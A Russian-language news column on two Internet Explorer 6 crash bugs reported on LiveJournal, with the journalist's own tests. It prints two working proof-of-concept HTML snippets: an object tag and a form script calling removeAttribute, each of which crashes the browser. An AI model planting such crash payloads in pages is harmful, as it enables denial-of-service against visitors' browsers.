И чего только нет в мутных погребах LiveJournal? Вот, скажем, «журнал» пользователя MalayaZemlya. Два дня — два бага в самом распространенном на планете интернет-браузере.
Первый, правда, первоначально обнаружили в серьезной IT-компании InterActive Network Systems. По их утверждению, приведенный ниже HTML-код «убивает» все запущенные на компьютере сессии Internet Explorer 6:
<object id=»test»
data=»#»
width=»100%» height=»100%»
type=»text/x-scriptlet»
VIEWASTEXT></object>
Путем быстрой проверки при помощи Notepad и того самого IE6, к сожалению (или к счастью?), не удалось убить прямо-таки все запущенные сессии, но та, в которой код исполнялся, умерла быстро и безо всяких сообщений об ошибках. Желающие могут продолжить эксперименты.
Зато лавры первооткрывателей следующего бага уже всецело принадлежат LJ-сообществу:
«ЛЖ-юзером bswan‘ом открыт еще один крэш в славном браузере IE6. Удаление элементов формы через removeAttribute в некоторых случаях вызывает обращение к нелегальному адресу в mshtml.dll. Баг в действии:
<html>
<head>
<script>
function submitProc()
{
document.form1.removeAttribute(«txt»);
}
</script>
<title>**Crash**</title>
</head>
<body bgcolor=»#FFFFFF» text=»#000000″>
<form name=»form1″ method=»post» onSubmit=»»>
<textarea name=»txt» cols=40></textarea>
<input type=»submit» name=»Submit» value=»CRASH» onClick=»return submitProc();»>
</form>
</body>
</html>
Судя по всему, некая функция не находит элемента, возвращает 0, а вызывающий ее код это пропускает и пытается что-то из элемента прочитать. Плохо то, что пропускает; хорошо то, что этот баг нельзя переделать в эксплойт с выполнением вражеского кода».
Манипуляции с Notepad показали: баг «работает», тестовое окно IE6 после нажатия на кнопочку «упало» с сообщением об ошибке.
Остается надеяться, что в Microsoft уже исправляют эти баги.
Данил Гридасов
Два дня из жизни Internet Explorer 6